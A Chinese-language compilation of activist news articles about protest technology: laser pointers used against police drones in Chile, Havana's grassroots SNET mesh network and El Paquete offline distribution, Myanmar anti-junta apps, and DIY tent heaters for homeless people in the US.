智利人民针对塞瓦斯蒂安·皮涅拉总统的新自由主义政府的大规模抗议活动持续了数月，示威者与国家军事维稳部队之间的冲突一直在继续。

抗议活动于10月14日开始，是对公共交通成本上涨的回应，随着社会运动的继续，在学生、工会和智利社会各界的广泛关注下，抗议活动迅速激化，人们的愤怒集中于该地区的高度不平等、不断上升的生活成本、以及从1973–1990年 Augusto Pinochet 独裁统治被继承的宪法。

随着抗议活动的激烈进行，对示威者的镇压变得越来越残酷和高科技。

然而，智利的抗议者以机智、毅力和同样高科技手段来抵制警察的袭击，从而做出了聪明的回应。

一份录像在社交媒体上迅速传播开来，其中表明警用无人机（UAS）被阻止 —— 因为抗议者使用普通的绿色激光笔瞄准执法无人机。

这种方法在绝大多数情况下都可以使用。

该视频是 NextGov 报道的，最初在 Reddit 上露面；视频中显示了在激光的追踪下，无人机在示威者头顶海面上盘旋的景况。

很快，出现了很多其他的激光笔，都瞄准那架无人机，当无人机试图

逃脱时，这些激光笔一直跟踪聚焦它，迫使无人机跌跌撞撞地降落。

在示威活动中使用激光的技巧最早不是出现在智利。在香港的示威活动中，这种技巧也无处不在，抗议者还使用激光使配备面部识别技术的监控摄像头失效。

正如 Defense Maven 报道的那样，美国陆军“史崔克”战车也配备了激光武器，可用于阻拦和击落附近的无人机。

但是，智利抗议活动中使用的消费级激光很难像军用激光大炮那样穿透装甲或引燃人体；取而代之的是，这些激光会掩盖操作员的摄像头视线、或者禁用无人机的高度传感器，从而触发无人机的紧急自主着陆功能。

虽然激光在这种基层群众起义中被证明是有效的，但一些专家表示，激光不太可能对无人机造成重大损害。

Citadel 防御公司负责人 Christopher Williams 表示：该公司希望为沿美国南部边界的美国海关和边境保护局部署基于反无人机的系统。

他说，“与无人机相比，使用这些类型的激光对人类更具危害性和破坏性。但还有许多其他破坏性较小的技术可提供出色的、更可扩展的、更可靠的和更具成本效益的对策。”

然而，就目前而言，专为办公室演讲而非军事战术目的而设计的激光笔似乎对那些上街要求更大的社会和政治权利的抗议者来说，还算不错。

您学到了吗？这很重要。

⚠ 政府使用无人机攻击和监视抗议者的现象正在全球上演。见：

- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《空中监视如何追踪抗议者？》

如上所述，技术型维稳是如今当权者的最爱，但活动家们依旧有办法利用技术对战技术。这就是21世纪新型抗议运动的特征。

- 《技术如何塑造21世纪的创造性抗议？》

○□

原文

探索替代互联网和不寻常的网络形式: 在哈瓦那挑战恶劣的"互联网"生态 - iYouPort

互联网自由-Resist反抗者-寻求经验

哈瓦那的状况比中国严重一万倍。但哈瓦那人比中国人更会想办法，更积极努力去改变这种痛苦的局面，而不是坐以待毙。当中国社会单纯地埋冤网络封锁并心安理得地享受微信时，我们的故事至少能让某些人惭愧一分种

根据国际电联的数据，有 1100 万固定互联网宽带连接（0,007%）、涉及 1,100 万古巴公民，主要是为政府机构和极端特权的个人保留的，而不是普通人。在 5,6% 的家庭中，只有极少享有特权的人很幸运能够以大约 4–5 Kbit /s 的速度访问一个痛苦而缓慢的、政府控制的拨号互联网连接。

2015年，国有 ETECSA 开放了35个公共 WiFi 点，古巴人可以上网了，但是每小时需要2个CUC（约2美元），这可是相当于该国社会每月平均 17 美元收入的大约10%（工作人员的平均收入 即 大多数人口）。从理论上讲，如果一个古巴公民有幸住在这些 WiFi 热点附近，并且想要在一个月内通过互联网向世界分享自己的想法，那么他们需要支付的就是 1440 CUC，网速大约可达到如罗马尼亚布加勒斯特的公民支付的 25 Mbits/s 。也就是说，古巴人需要工作大约**6**年的时间，才能连续一个月内使用这个 **WiFi** 上网。相比在中国买房的感觉如何？

「图」

「图」

可以推测，这可能不是一个共产主义国家政府拥有的垄断所做出的最好的社会主义实践的例子，但这不是本故事的主题。

我们感兴趣的是网络和内容分发的替代形式，出现在集中式的和政府运行的基础设施的边缘，有时与政府设施断开连接、并作为一个完全

独立的“网络服务”的存在，有时则利用任何可能的方式来恰当控制分散化的资源。

在以下的3篇小故事中，我们将探讨一个无比孤立的社会如何设法跨越这一巨大的障碍，并建立访问、分发、分享和享受数字内容的替代方式。

「图」

「图」

nano-station 国家

X 先生二十五岁左右，是一位充满激情的战地游戏玩家，也是 Los Pir @ t @ s 子节点的管理员，位于哈瓦那不那么富裕的街区之一。

在附近建筑物的屋顶上，他安装了一个 WiFi nano-station，允许在 UTP 电缆 100 米范围之外的其他房屋使用不同类型的 DIY 或品牌制造的 WiFi 设备，加入他的本地网络。它们共同连接成了一个由大约 20 个*互联家庭*组成的本地网络，有权共享、交流、并主要是一起玩游戏。

「图」

「图」

并且，这个小型邻居组成的网络连接到更大的网络节点。在 Nuevo Vedado 地区高层住宅楼的北面一公里处，有一个更大的网络结构。

「图」

「图」

Vedado 的新建筑

这个城市的一部分，是社会主义南斯拉夫建筑风格，隐藏着最密集的社区网络之一。在建筑物的通风孔内，有数公里长的 UTP 电缆，这些建筑物的屋顶就是 nano-station 的理想之地。

「图」

「图」

Nuevo Vedado 建筑物的通风孔

你可以猜到，这个小网络之后连接到的是另一个巨大的网络节点。位于哈瓦那的塞罗区，它有2000 多个相互连接的家庭。

「图」

「图」

哈瓦那-塞罗 的卫星图（来源：谷歌地球）

在哈瓦那的每个城区，都有一个连接的计算机、服务器、nano-station 的网络，它们共同组成了一个巨大的城市网络，这个网络中拥有大约 12.000 个互联的家庭—SNet (Street NetWork).

延伸近 30 公里从城市西部的圣达菲到东部的阿拉马边缘，从北部的马勒孔 20 公里到南部的科托罗，有一个隐藏的电缆网络，nano-station 和中继完全独立于政府、国营或私营企业之外，不属于任何权力，只属于人民，就这样形成这种令人印象深刻的网络结构。

这种网络不仅存在于哈瓦那，而且存在于该岛的大部分省份。第二大省份就是马坦萨斯，有大约 2000 个连通的家庭。网络与网络之间没有连接。它们作为某种孤立的网络孤岛而存在。没有连接到彼此也没有连接到外部世界，互联网。

隐藏的避风港

这个庞大的基础设施的每一部分都只属于其用户。每个用户都拥有自己的网络拼图，nanostation、服务器或电缆。使用共享文件夹中的带宽或内容是免费的，任何人都可以复制和分发这些内容。没有任何付费服务，禁止广告。

在如今的世界里，我们这些人已经忘记了如何拥有自己的基础设施，屏幕后面的一切都属于其他人，我们主要是消费者，而不是制造商，我们不断被描述，被定制、被量化—— 而哈瓦那人们享有的东西在我们看起来就像某种技术乌托邦安全避风港。在这里，以某种方式提醒着互联网的早期样子，那是一个梦幻般美好的时代。

但是，像所有事一样，它还有另一面。

游戏规则

这个网络的存在取决于古巴国家无形的、未说出口的和微妙的东西。根据古巴的“现实”，这个网络不应该存在。即使不禁止将计算机连接到网络，将网络设备导入古巴也会被禁止。

由于古巴本地没有任何工厂生产 **nanostation** 或其他网络设备，因此存在**30**千米宽的 **12.000** 个连接设备的独立网络听起来是非常惊人的。政府仍然没有采取任何行动，希望他们不会，但这种现象不太可能被当局忽视。

另一方面，在网络内部也存在强有力的内部政策，规范了任何可能关于政治、色情有关的内容的分发，或“任何可能影响古巴形象的讨论”。这些政策还禁止网络连接到互联网并用于传输任何外国的电视或广播节目。SNET 用户知道，如果这个网络开始被当局视为“反革命”活动的基础，他们的宝贵资源可能就会在某一天内彻底消失。

「图」

「图」

我们可以从许多不同的角度讨论或批评这些内部政策，比如自我审查，但是很明显，它们是功能性的防御机制，允许这个网络存在于真正特定的古巴环境中。另一方面，我们应该清楚，这个网络的起源不是某种—乌托邦—自由—赋权的梦想—这个网络主要用于白天的多人游戏，并在夜间共享电影和软件。

自制互联网

但是，它也的确不仅仅是关于多人游戏和分享。在这个网络中，有一小部分本地网站，免费服务，和由网络成员制作的小型社交网络，并且只对他们内部可见。该网络还有自己的搜索引擎—Look.me，一个自己的社交媒体网站—Facebokito，甚至还有他们自己版本的 Ebay，称为 Timbirichy。

「图」

「图」

您可以通过维基百科的“离线”版本或定期更新 Revolico 找到，这是在“真正的”互联网上存在的主要的最大和最重要的古巴在线拍卖和购物网站，但也在 SNET 和 El Paquete 上复制。大多数节点、城区都有自己的新闻网站、论坛和博客，还有许多专用的游戏服务器。

在这个小小的“互联网”上，没有域名，只有本地 IP 地址分配给每个用户，可能是他们自己的本地转世版 Jon Postel，当他们开始进入 SNET 社会并用心学习“SNET 的一般规则”时。

远离键盘

有时，这个社区在公共场所以聚会的形式聚集在一起“远离键盘”。

在最近的一次活动中，在网络留言板上发布了一个帖子之后，数千人聚集在哈瓦那著名的海滨大道 Malecon。很难向警方解释所有这些年轻人并没有聚集在一起进行政治抗议，而是讨论电脑游戏和硬件的新版本。

「图」

「图」

一个 **Paquete** 统治他们所有

这张照片中间的计算机包含的内容下周将成为离线互联网的主要古巴版本之一。这个东西被称为 El Paquete，整个岛上可能有数十万古巴人用来分发 1TB 的内容。每个星期一早上，从哈瓦那的这个小房间里开始，这些电影、电视剧和节目、杂志、网页、软件和书籍包由分布式网络分发，包括人物、自行车、50年代的汽车、外部硬盘和 USB，横跨整个岛屿。

这种现象的规模如此之大，以至于 El Paquete 成为了古巴文化部许多会议的主题，并被描绘成“古巴公民的心态”。

El paquete 还有一些与政治内容或露骨性内容有关的自我审查政策，在一个互联网访问极其有限的国家，虽然没有政府控制和影响力以及经济利益，这种内容的独立分配仍然是难以被接受的，对于不利于信息自由流动的系统来说。

El Paquete 不仅仅是一个分销网络，它也是一种非官方经济形式，可能支持全岛数百个家庭。在几乎每个街区都有一个这样地方，通常在一个小房间或车库里，你可以带上你的硬盘和拷贝，出个价，这就是你拥有的部分 El Paquete。

完整的 El Paquete 副本的价格为 2 CUC（约等于2美元）。通常这些地方也是合法的“盗版”DVD 商店，这是一种允许古巴人按照 2011 年

推出的 181 种新官方工作类型的政府名单运作的小企业。

空间和时间

多年来，古巴人的这一最终数字内容来源的大小受到几个因素的影响，这些因素主要与真正无法预测的古巴硬件黑市上的 USB 记忆棒和外置硬盘的可用性和价格有关。

「图」

「图」

在 USB3 标准到来之前，复制 1TB 的数据大约需要12个小时，这是 El Paquete 最初的最大限制，迫使他们只能创建更小的视频、质量更低的内容。

随着 USB3 标准在该分发网络中的节点之间更加分散，El Paquete 的大小能够增长到 1TB，每个拷贝需要 2–3 小时。不过，每次复制都需要相当长的时间; 在这种情况下，我们要说说指数级增长的网络树。正如理论模型一样，如果每个人，即 节点，能够在这个网络同时创建，使用一个 USB 开关和4个连接的硬盘驱动器，2个小时后就得到4个副本，4个小时后就是16个副本，10 个小时后的副本数量将增长到1024个。

「图」

「图」

当然，这仅仅是用于说明它的功率的数学模型，并且实际上影响这一复杂网络的真实动态的因素有很多。

无论如何，从周一凌晨4点开始，当第一辆自行车开始将硬盘驱动器带到第一个分配节点时，直到当天晚上，数百个哈瓦那的技术爱好者社区都能拥有他们的“权力游戏”新剧集的副本了。还有他们使用的软件更新，或者在他们的硬盘上发布了新版的 Cosmopolitan。在某些街区甚至还有某种形式的“按需”服务，其中内容，带有 El Paquete 的硬盘，可以带到您的家中，因此您可以将其复制到您自己的硬盘上。

「图」

「图」

维达多的”数据中心”

来自该岛的“端对端”

这个独立的地下网络覆盖整个岛屿，从远东的古巴圣地亚哥到西部的 Pinar del Rio，这一事实是这一现象的一个显著方面。无论是谁试图乘坐 50 年历史的老式汽车从哈瓦那前往古巴圣地亚哥，或是在 50 年代建造的唯一一条会突然断掉的“高速公路”上拖着俄罗斯版 Lada，他们都知道，这是一次冒险。

El Paquete 的硬盘仍然从一个城镇到另一个城镇的各个方向，每周到达数百个社区。这种独特的古巴“人—电子高速公路”相当滞后。如果让哈瓦那市民每周一能享受到他们最喜欢的 dorama（韩国电视剧）的最新一集，那么距离哈瓦那以东约 800 公里的古巴圣地亚哥市民将能够在星期三，也就是2天后获得同样的享受。

据我们估计，这种手牵手的速度，驱动器到驱动器、计算机到计算机的网络速度，约为 16.6 公里/小时。

节点的力量，经济和 **El Paquete** 的结构变化

所有节点都是相同的，除了其中一些节点的层次结构高于其他节点。该网络有自己的垂直层次结构。一切都从一个点开始，然后在不同的分支中增长，直到这个人工运输硬件信息的网络覆盖整个岛屿。

但是，初始包的创造者有理由不觉得自己拥有该网络。此内容分发生态系统中的每个分支或单元都可以自由添加和删除内容，初始数据包的创建者或途中的任何其他节点都无法控制在其后发生的事。

更高的节点，或者我们可以说更靠近分销链中心的节点，在它们下面有很多分布可以尝试在其分支机构内发展自己的微观经济，并尝试例如开发自己的广告交易。最后，古巴周边的私营、本地微型企业很少有能力在国家层面销售他们的产品或服务，因此他们选择在城市层面甚至单个街区内的 El Paquete 内部做广告，这是完全合理的。

另一个有趣的观点是，由于 El Paquete 每份副本所需的时间（每份约2小时），没有人能够比其他人获得更多得收入。从这个意义上说，时间是在这个系统中以某种方式创造平等的一个因素。

作为小中心的业主之一，在 Vedado 收集了 50 TB 的盗版游戏，El Paquete 周一早上就会出现在那里。如何做到这点？你可以尝试在下周一到来之前创造出一些东西，你可以在它的一个部分（例如游戏或

软件）上发展你的小经济，或者你什么都不做也行。每个人都有同样的机会，同样的价格。简直是共产主义。

一个有趣的细节是 El Paquete 的价格会根据当天是星期几而发生变化。在发布后的星期一，价格最高（2 CUC），直到本周末，在被复制多次后，价格下降（1 CUC）。很公平哦。

「图」

「图」

数据包经济

这些年来，该系统中出现了不同形式的广告和服务。

如果您发送短信到某个号码，该消息的内容将以一个 jpeg 图像的形式出现在 El Paquete 文件夹“classifieds”中，该图片的一半是内容，另一半则是一些广告。并且，还有很多有趣的寄生广告形式直接嵌入到内容中。比中国的“软广”更“硬”一点，例如，在最新的 Cosmopolitan 杂志的数字版本的页面之间插入了本地的视频广告。

「图」

「图」

El Paquete 的轮回

El Paquete 只有一个相当短暂的存在。岛上很少有人可能拥有以前版本的数据包完整档案。甚至 El Paquete 的制造者也没有保留以前的版本，仅仅是因为硬盘驱动器的成本太高了，而普通的古巴人无法保留这些文件。

它类似于普通电视或视频点播。在一周的时间内，这些文件从稀缺变为丰富，最后大部分文件在本周末被删除以替换为新文件。一些文件会继续存在，数字内容经销商或例如游戏或电影的收藏家会保留最受欢迎的电影、电视节目或游戏，并且每集或整部电影以固定价格转售。

反馈机制

作为每个适当的控制系统，都有一个嵌入其中重要部分的反馈。终端分发节点可以向 El Paquete 发送电子邮件并就最终用户请求的内容提

出建议。根据输入、内容变化、新的电视连续剧、收藏或电影类型被添加，El Paquete 会不断变化发展。

根据其中一位 El Paquete 制造商的说法，他们收到的电子邮件数量很大，他们无法响应所有请求，但这种互动仍然是这个复杂的分发系统的重要部分。

文化的起源

创造和策划 El Paquete 的年轻人大多是 20 多岁，这一代人在岛上经历了不同形式的内容分发时代。从 20 世纪90年代末的 VHS banks，到 21 世纪初的内部硬盘驱动器内容的离线点对点交换。断开内部硬盘驱动器并转发给朋友复制他的收藏品是过去 10 年中 El Paquete 和外部 USB 硬盘驱动器出现之前最常见的内容分发实践。

内容很分散，并且您只能依赖于朋友的品味和存储内容的能力，而不是您自己的。当时互联网更难以进入，只有少数大学和机构有权访问一个非常慢的互联网。

内容主要来自大学网络管理员，他们在夜间下载在线内容并在接下来的几天内快速传播。内容由具有访问权限的个人策划和选择，主要是按流派分类的电影、连续剧和动漫作品，人们没有兴趣尝试获得糟糕的电视内容或中篇小说，受众主要是年轻人，需求各不相同。

在这里看到下面的大图：

「图」

「图」

网络经销商：哈瓦那的热点、慢点和黑点

如果你走在哈瓦那的街道上，看到一群人站在角落里，盯着他们的智能手机，那可能就是政府运营的 ETECSA 建立的 35 个著名的 WiFi 热点之一，ETECSA 是这个国家唯一的电信公司。

「图」

「图」

位于哈瓦那中心 Fe del Valle 的官方Wi-Fi热点

一些官方 WiFi 场所，大部分位于哈瓦那市中心周围的公园，都是大规模的露天网络派对区域。有时有数百人通过笔记本电脑和手机试图发送电子邮件，检查他们的 Facebook 帐户，或尝试使用一些 VoIP 服务。

「图」

「图」

官方 ETECSA “电信代理”

为了使用这些 WiFi 热点，您可以在临时的露天接待台后面找到官方“电信代理”，但是，需要使用您的真实姓名和身份证注册您的帐户 —— 是的，就像中国的微信。然后你可以购买2个 CUC 1小时的 WiFi 信用额度，大约是古巴平均月工资的 10%。

但是，在大多数官方 WiFi 热点附近，附着有许多隐形的寄生基础设施，以许多创造性的方式利用这种资源。

当您接近 WiFi 区域时，某些不那么官方的“电信代理”可能会为您提供更便宜的互联网接入。如果您没有直接与他们联系，您应该搜索拥有创建海盗热点的设备的人。有时 SSID 本身就可以帮助您。例如，WiFi 网络的名称可以是“guywiththegreenshirt”或“guyunderthetree”。很有趣吧。

「图」

「图」

在官方 WiFi 区域的边缘

花掉一个CUC（大约1美元），将允许在您的手机中输入 WiFi 密码，然后，您将准备好在最痛苦的慢速互联网上冲浪。

「图」

「图」

Nanostation 在垃圾桶后面

盗版和官方

但有时这些盗版 WiFi 区域也出现在官方 WiFi 区域之外的地方。我们撞到了哈瓦那中心的 Malecon 附近。

「图」

「图」

从非官方的”通信代理”购买互联网接入

几分钟之内，这家伙就被几十个人围住了，在一个热点上冲浪，一小时内就花掉了收入很少的古巴人的平均月工资。

「图」

「图」

那些非官方的街头热点是一些短暂的街头网吧、会议场所和社交场所，人们不仅建立了互联网连接，而且在当地相互交换文件和内容。他们的设备之间发生了许多无形的活动，没有访问互联网。

为了进入这个本地网，他们使用中国制造的通信应用程序 Zapya，允许用户交换文件并在本地进行群聊，而无需 WiFi 连接。

有时候人们也会去那里与人聊天，免费交换文件，根本不使用互联网连接。

值得一提的是，11年前的 2008 年，移动电话仅限于为外国公司和政府官员工作的古巴人使用才是合法的。

寄生网络

销售连接的人所承担的风险是，其他人从他那里购买价值1个 CUC 的互联网接入，然后就可以以相同或更低的价格转售同一连接给其他人。这就是第一个人对别人做的事。这家伙可能正在使用他自己的 nano stations 和中继、自己动手做的基础设施，来瞄准并连接到一些酒店或官方 WiFi 区域，在那里他支付2个CUC一小时，假装是普通用户。

然后，他与在街角的 20 个人分享了这一连接，他很可能会在下一个角落以同样的方式再卖给更多人。

这是寄生分形网络的一种形式，网络内的网络，把碎片整理成小块。

最后一个比索可能是从任何人那里收取的。

原文

数字行动反对缅甸军政府 - iyouport

反抗者-寻求经验

每个地区的行动者都在从其他地区行动者的战略智慧中汲取灵感，这就是最简单的联合

缅甸军方在一场不流血的政变中夺取了对国家的控制权，并宣布了长达一年的紧急状态，一个月后，从仰光到曼德勒，每天的抗议活动继续震撼着城市和城镇。现在，除了将愤怒发泄到街头外，一个由民主活动家组成的地下运动还在使用各种新的数字工具抵制武装部队和警察。*https://t.me/iyouport/8182*

2月1日的夺权事件，推翻了领导人昂山素季的民选政府，使一些企业成为焦点。与镇压部队有联系的国际和当地公司受到越来越大的压力，活动家们称这些公司是武装部队犯下战争罪的同谋。

- 不要错过《流行文化如何帮助解释缅甸的政变》

长期以来，缅甸强大的武装部队通过投资于一些利润丰厚的行业，包括采矿业、烟草业、服装制造和银行业，一直紧紧控制着国家的财政。大赦国际最近的一项调查发现，一家名为 “Myanma Economic Holdings Limited” 的秘密商业集团的股东—— 该集团与日本饮料巨头麒麟控股和韩国房地产开发商INNO集团等国际企业有关联—— 在过去**20**年里收到了高达**180**亿美元的款项。

3月，麒麟控股宣布将放弃与一家由军队将领部分拥有的啤酒厂的合作。该公司在一份声明中表示，它对军方最近的行动 “深表关切”，并将 “作为紧急事项采取措施，将这一终止措施付诸实施”。缅甸的数字活动家已经针对抵抗2月掌权的武装部队推出了三款新的移动应用程序

对与武装部队有关的企业的关注，促使缅甸的活动家发布了新的移动应用程序，以寻求削弱现在执政的军政府的收入。

3月初，总部位于缅甸的 Genxyz 公司推出了一款名为 Way Way

Nay（远离）的应用程序。它列出了250家公司，包括金融机构、零售企业、建筑公司、媒体机构以及与军方有联系的健康和美容公司。Way Way Nay 在 Google Play 和苹果的 App Store上都上架，自推出以来已经被下载了7万次。

在接受采访时，该应用的运营经理在匿名的情况下表示，他正在考虑将另外450家企业加入到名单中。“我们希望能够向缅甸的普通民众展示军方是如何与每个人的日常生活的方方面面联系在一起的。我们认为，一个应用程序将是一个很好的方式，可以提醒人们在购买产品或服务时要抵制什么”，他说。

军方为平息缅甸十多年来最大规模的民主抗议活动，进行了越来越多的镇压。据人权组织称，自武装部队控制该国以来，已有**50**多人被杀，近**1700**人被拘留。

3月，镇压部队在全国多个城镇向抗议者开火，至少38人被杀害。显然由缅甸最大城市仰光的居民拍摄的视频画面似乎显示，镇压者在近距离射击一名男子。在另一起事件中，自由亚洲电台公布的闭路电视录像显示，警察殴打并拘留了三名街头救护人员。

官方对抗议活动的严厉反应，标志着军政府对日常示威活动的态度更加强硬，这些示威活动已经使缅甸经济和大片地区瘫痪。联合国人权事务高级专员米歇尔·巴切莱特（Michelle Bachelet）呼吁缅甸安全部队停止“对和平抗议者的恶性镇压”，并敦促军方释放据信自2月1日以来被非法拘留的数百人。

3月3日在安卓系统上推出的“缅甸黑名单”，是为那些希望避开那些销售惠及缅甸武装部队的公司的购物者提供的另一本指南。“缅甸黑名单”应用还允许用户通过应用内的电子邮件功能提交新的抵制企业的建议。

这款应用的创建者要求使用化名 Red Warrior，他解释说，它的目的是限制军方获得不同的收入来源。“从长远来看，他们之所以拥有所有的权力和所有的影响力，是因为他们一直在推广的这些企业和品牌”，他说。

“如果人们不支持这些品牌或服务，那么我们的钱就不会进入军事政权。我们可以慢慢削减他们对国家的垄断性影响。”

缅甸的数字活动家还创建了其他应用程序，以警告普通公民和抗议者在街头正在增加警察和军队的存在。2月11日在安卓系统上推出

的 Genz Map Live 从用户那里获取实时的数据，以突出显示镇压部队高度集中的地区。这款已经拥有4万用户的应用还可以显示水炮、路障、和救护车的位置。所有的数据在上传之前都会经过版主的事实核查。

Genz Map Live 的制作者之一告诉记者，该应用的设计者从**2019**年香港民主示威活动中抗议者使用的类似数字街道地图中得到了启发。他补充说，他的团队成员参考了一份名为 “HK19手册” 的匿名撰写的70页文件，该文件已在香港的抗议者中广泛分享，并在最近从英语翻译成缅甸语。

数字民主与奶茶

「图」

在过去的一个月里，缅甸的数字活动家不得不克服一系列军方强制的互联网中断和移动网络中断。3月初，总部设在英国的组织Netblocks证实，全国互联网连接已经连续19个晚上直线下课，降至政变前水平的13%。

东南亚的民主组织者表示，缅甸的互联网关闭与其他地方的专制政府部署的互联网关闭是一样的。今年早些时候在英国寻求庇护的前香港抗议者、人权组织 “雨伞联盟” 创始人 Sunny Chou 表示，缅甸中断互联网和数据服务的手段是香港当局广泛采用的战术。

【注：如何在断网情况下继续工作，是如今行动者必备的技能。在我们的网站上搜索 “断网” 以找到相关知识。】

“在香港抗议运动最激烈的时候，我们的应用程序多次被禁用”，他说，“Telegram 也被攻击了好几次，这些手段旨在令抗议者无法正常沟通和组织应对。”

然而，随着缅甸民主示威活动的步伐加快，该国的数字反叛战术也引发了该地区线上和线下活动人士的兴趣。在泰国、柬埔寨和香港——这些地方近年来都受到了民主抗议活动的冲击—— 一个由志同道合的运动者组成的非正式但警惕的跨境联盟，利用互联网突出缅甸持续的暴力活动，同时也揭露了他们自己的压迫性政权。

Sina Wittayawiroj 是曼谷的视觉设计师和活动家。他在2019年1月第一次对他的国家的民主运动产生兴趣，当时在该国执政的军政府发出信号，选举将在五年内第五次被推迟后，示威者走上了街头。

像 Wittayawiroj 这样的活动家们聚集在社交媒体上，以 #MilkTeaAlliance 为标签，传播讽刺性的meme和行动主义建议，强调缅甸的暴力事件。

许多关注该标签的人都对中国在更广泛的亚洲地区的主导地位有着共同的担忧。例如，在泰国，对台湾和香港的支持已经成为普通公民的集结点，他们认为自己的政府是反民主的，与北京的关系过于密切。

在一家视频制作和流媒体平台工作的 Wittayawiroj 说，他是从一位缅甸同事那里了解到缅甸目前的危机的。自缅甸2月1日政变以来，他经常发布以 #MilkTeaAlliance 为标签的插画。“我经常和他们交谈，试图了解人们所面临的情况。我知道有一次选举，但军方控制了局势。我觉得我必须画些东西来帮助抗议者。”

专家表示，#MilkTeaAlliance 已经被地区性的抗议运动所激发。

“当我们在2014年和2019年在香港非常著名的民主运动爆发时，全世界都在看”，研究中缅关系的香港研究人员 Debby Chan 说，“泰国和缅甸的活动家们也密切关注着当年在香港发生的事。”

“当一些香港人目睹泰国和缅甸活动家的斗争时，我们也从中看到了自己”，她补充道。〇

Digital insurgents rally against Myanmar’s military junta

原文

无政府主义者正在建造 DIY 加热器以帮助无家可归者获得温暖 - iyouport

反抗者-寻求经验

寒冷的冬日停电了？不得不流浪街头？无政府主义活动家提供了一份开源教程，成本只需 7 美元，可帮助人们照明和取暖。

为无家可归者提供切实的帮助，并不代表认可大量的无家可归者和大量的空置房并存的严重不平等现象的合理性。而是因为，只有当我们彼此间能够互相帮助的时候，我们所有人才能获得安全。

随着快速的士绅化进程导致各地的无家可归者的数量激增，加之气温急剧下降，无政府主义者正在形成一个分散化的行动网络，为那些没有住所的人们建造和分发帐篷中使用的安全的酒精加热器。

HeaterBloc 是一个位于波特兰的行动主义团体，他们发布了建造加热器的开源指南，其成员在给主板的信息中写道："这个项目并不是什么新东西，它是经过多年发展的，有许多不同的形式。它从一个想法开始，然后这个想法被建立起来。然后发展，传播，它就有了自己的生命。今年，我们很幸运地确定了一个安全和具有成本效益的设计。"

如果批量购买组件，每个加热器的成本约为7美元，它们既可用于烹饪，也可用于为小型的室内空间取暖，每次可持续数小时。如果加热器意外翻倒，火焰会自动熄灭，在适当的通风条件下，一氧化碳中毒的风险很小，因为异丙醇的燃烧很干净。

这份教学指南已被翻译成多种语言，在美国的农村地区和主要城市，包括匹兹堡、费城、纽约市、圣地亚哥、亚特兰大、塔科马、堪萨斯城、达拉斯、卡拉马祖、德克萨斯州的埃尔姆福克和华盛顿州的斯波坎，都出现了建立和分发DIY加热器的活动家团体。一些团体开始探索将该设计用于难民营、经历过严重停电的地区（如德克萨斯州），以及用于越来越多买不起水电的边缘社区。由位于波特兰的

COLLECTIVE HETERBLOC 建造的 DIY 帐篷加热器

根据无政府主义原则，该网络以无阶级无等级和横向联合的方式运作。“看到围绕这一需求所形成的社区，看到人们采取真正的行动来帮助全国各地的无房者保持温暖，这令人难以置信，因为这实际上是在拯救人们的生命。这才是真正重要的”，该团体写道。

从2000年到2019年，全球有近500万人死于寒冷条件。在美国，在大流行之前，有58万到150万人无家可归，而在疫情危机期间缺乏财政支持，使问题更加严重。在许多地方，地方政府和执法部门的反应是直接用推土机摧毁无家可归者的帐篷社区，并试图迫使人们进入往往是拥挤和不安全的庇护所 —— 如果还能有庇护所的话。

“很难向普通人传达冬天无家可归的感觉”，HeaterBloc 的成员在他们的声明中写道，“一种无法逃避的寒冷，就像你的肺部充满冰块，四肢麻木。这种潮湿的寒冷使你的身体疲惫不堪，你会不惜一切代价来逃避。”

正在建造加热器的西雅图互助小组的一名曾经无家可归的成员 Meadows* 告诉主板，该项目正在多个层面上减少伤害以帮助人们。无家可归的人往往被迫在帐篷里烧垃圾取暖，这使他们面临一氧化碳中毒和脑损伤的风险。这个取暖器还允许人们拒绝为了生存而不得已的同睡，并减少了毒品的使用，从而保护了人们的自主权和安全。

Meadows 说：“根本不使用毒品的无家可归者比例非常高，他们成为无家可归者的原因与使用毒品完全无关”，他要求使用假名，因为互助团体经常成为警察和极右翼煽动者的攻击目标。“然而，毒品让你感觉更温暖，它们也可能帮助你打发时间，而且毒品使战斗或逃跑的情况更容易忍受。当互助小组实际上能够向人们提供更多的加热器时，我们已经看到了毒品使用的减少和微笑的增多。”

Meadows 说，她看到人们在收到取暖器后变得更加有精神了。她说：“在冬季的每个星期里，无家可归者已经处于体温过低的边缘。当我们能够帮助他们补充温度时，他们就完全不同了。他们变得很活跃，很有存在感。而且，他们只是想，‘哇，这些加热器真很了不起’。”

但是，归根结底，所有的人都应该得到实际的供暖住房，互助团体说。取暖器项目是对租金反抗运动、反驱逐辩护和接管空楼运动的补充，所有这些都是为了确保每个人的头顶上都能有一个屋顶。

“当你是穷人时，你没有任何发言权。当你无家可归时，你不被当作人对待。我们的愿望是，HeaterBloc 将不再是一种需要”，HeaterBloc 写道，“我们希望的是社会将接受并关心其所有成员，承认住房是一项基本人权，而不仅仅是一种奢侈品。”

📌 在这里看到这份教程：***https://drive.google.com/file/d/1N-q3Zu6jngpSJdXUoSkWl4YKb26RCvAV/view***

Anarchists are Building DIY Heaters to Keep Unhoused People Warm

一点故事背景

「图」

这场运动从2020初开始逐步实现跨国联合，美国是这场运动中的主力。这是反高租金行动中的一张海报，抵抗那些利用大流行病剥削他人为自己谋利的房东、公司和其他机构。

下面是另一张海报，由波特兰无政府主义艺术家 N.O. Bonzo 制作，张贴在社区里以促进集体抵抗。海报上写的是：

> 房东、物业经理、房地产投机者、收债人、警察和治安官，请注意，在这个社区里，我们互相保卫彼此。家不是将我们分隔成可以被逐一征服的小领地的私人围墙；它是我们在相互支持的过程中建立起来的集体团结，每当我们看到伤害发生时都必然会进行干预。

为应对COVID-19大流行病产生的失业和经济危机，世界各地的无产者纷纷进行了抵抗租金的运动，这场运动在美国获得了很高的知名度，当时旧金山的一个长期的无政府主义住房集体 Station 40，在3月16日宣布他们将在4月拒绝支付租金，随后在他们的大楼前悬挂了一个巨大的横幅，上面写着 “RENT STRIKE”。然后到3月20日，出现了一个全国性的 telegram 频道，在西雅图、芝加哥、亚特兰大、湾区和其他地方都出现了抵抗租金的团体。

到4月初，美国各地有几十个团体正在积极组织起来加入抵抗租金的运动。纽约时报报道说，纽约市40%或更多的租户可能无法支付4月份的租金，无论他们是否愿意。

如上所述，这是一场跨国联合的反抗行动。在加拿大，抵抗租金运动

的组织工作迅速蔓延到多伦多、蒙特利尔和其他地方，而温哥华的住房权利活动家试图占领空置房屋，为无家可归者建立自我组织的住所，以应对这场大流行病。

